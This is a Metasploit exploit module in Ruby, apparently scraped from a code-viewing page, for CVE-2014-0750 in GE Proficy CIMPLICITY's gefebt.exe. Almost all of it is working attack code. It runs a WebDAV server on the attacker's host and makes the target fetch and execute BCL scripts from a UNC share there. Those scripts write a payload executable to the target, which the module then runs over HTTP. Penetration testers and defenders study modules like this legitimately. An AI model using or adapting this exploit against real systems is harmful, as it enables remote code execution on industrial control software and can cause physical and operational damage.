1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML def initialize super( 'Name'=> 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution', 'Description' => %q{ This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in shared resources. An attacker can abuse this behaviour to execute a malicious BCL and drop an arbitrary EXE. The last one can be executed remotely through the WebView server. This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. When the target hasn't the WebClient service enabled, an external SMB service is necessary. }, 'Author'=> [ 'amisto0x07', # Vulnerability discovery 'Z0mb1E', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References'=> [ [ 'CVE', '2014-0750'], [ 'ZDI', '14-015' ], [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform'=> 'win', 'Targets' => [ [ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ] ], 'DefaultTarget'=> 0, 'Privileged' => true, 'DisclosureDate' => 'Jan 23 2014' ) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]), OptBool.new('ONLYMAKE',[ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]), OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/']) ], self.class) end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) if request.uri =~ /#{@basename}(\d)\.bcl/ print_status("GET => Payload") data = @bcls[$1.to_i] send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = rand_text_alpha(8 + rand(10)) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL'=> '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public'=> 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request") body = '' if (path =~ /\.bcl$/i) print_status("Sending BCL multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def check uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") uri << "?" res = send_request_cgi('uri' => uri) # res.to_s is used because the CIMPLICITY embedded web server # doesn't send HTTP compatible responses. if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit @extensions = "bcl" @bcls= [] @total_exe = 0 setup_resources make_bcls print_status("BCL's available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl") unless datastore['UNCPATH'].blank? @bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) } if datastore['ONLYMAKE'] print_warning("Files created, remember to upload the BCL files to the remote share!") print_warning("Once ready set ONLYMAKE to false") else exploit_bcl end return end super end def setup_resources if datastore['UNCPATH'].blank? # Using WebDAV my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @basename = rand_text_alpha(3) @share_name = rand_text_alpha(3) @exploit_unc= "\\\\#{my_host}\\" @exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe" unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/' fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end else # Using external SMB Server if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/ @exploit_unc = $1 @share_name = $2 @basename = $3 # Use an static file name for the EXE since the module doesn't # deliver the BCL files in this case. @exe_filename = "ge_pld.exe" else fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc') end end end def make_bcls exe = generate_payload_exe # Padding to be sure we're aligned to 4 bytes. exe << "\x00" until exe.length % 4 == 0 longs = exe.unpack("l*") offset = 0 # gefebt.exe isn't able to handle (on my test environment) long # arrays bigger than 16000, so we need to split it. while longs.length > 0 parts = longs.slice!(0, 16000) @bcls << generate_bcl(parts , offset) offset += parts.length * 4 end end def generate_bcl(slices, offset) bcl_payload = "" slices.each_index do |i| bcl_payload << "s(#{i + 1}) = #{slices[i]}\n" end <<-EOF Option CStrings On Sub Main() Open "#{@exe_filename}" For Binary Access Write As #1 Dim s(#{slices.length}) As Long #{bcl_payload} For x = 1 To #{slices.length} t = x - 1 Put #1,t*4+1+#{offset},s(x) Next x Close End Sub EOF end def execute_bcl(i) print_status("#{peer} - Executing BCL code #{@basename}#{i}.bcl to drop final payload...") uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl" res = send_request_cgi('uri' => uri) # We use res.to_s because the embedded CIMPLICITY Web server doesn't # answer with valid HTTP responses. if res and res.code == 200 and res.to_s =~ /(^Error.*$)/ print_error("#{peer} - Server answered with error: $1") fail_with(Failure::Unknown, "#{peer} - Server answered with error") elsif res and res.code == 200 and res.to_s =~ /No such file or directory/ fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file") elsif res and res.code == 200 print_good("#{peer} - Answer has been successful") else fail_with(Failure::Unknown, "#{peer} - Unknown error") end end def exploit_bcl @bcls.each_index do |i| execute_bcl(i) end print_status("#{peer} - Executing #{@exe_filename}...") uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename) uri << "?" # Enough timeout to execute the payload, but don't block the exploit # until there is an answer. send_request_cgi({'uri' => uri}, 3) end def primer exploit_bcl service.stop end def file_create(fname, data) ltype = "exploit.fileformat.#{self.shortname}" full_path = store_local(ltype, nil, data, fname) print_good("#{fname} stored at #{full_path}") end end |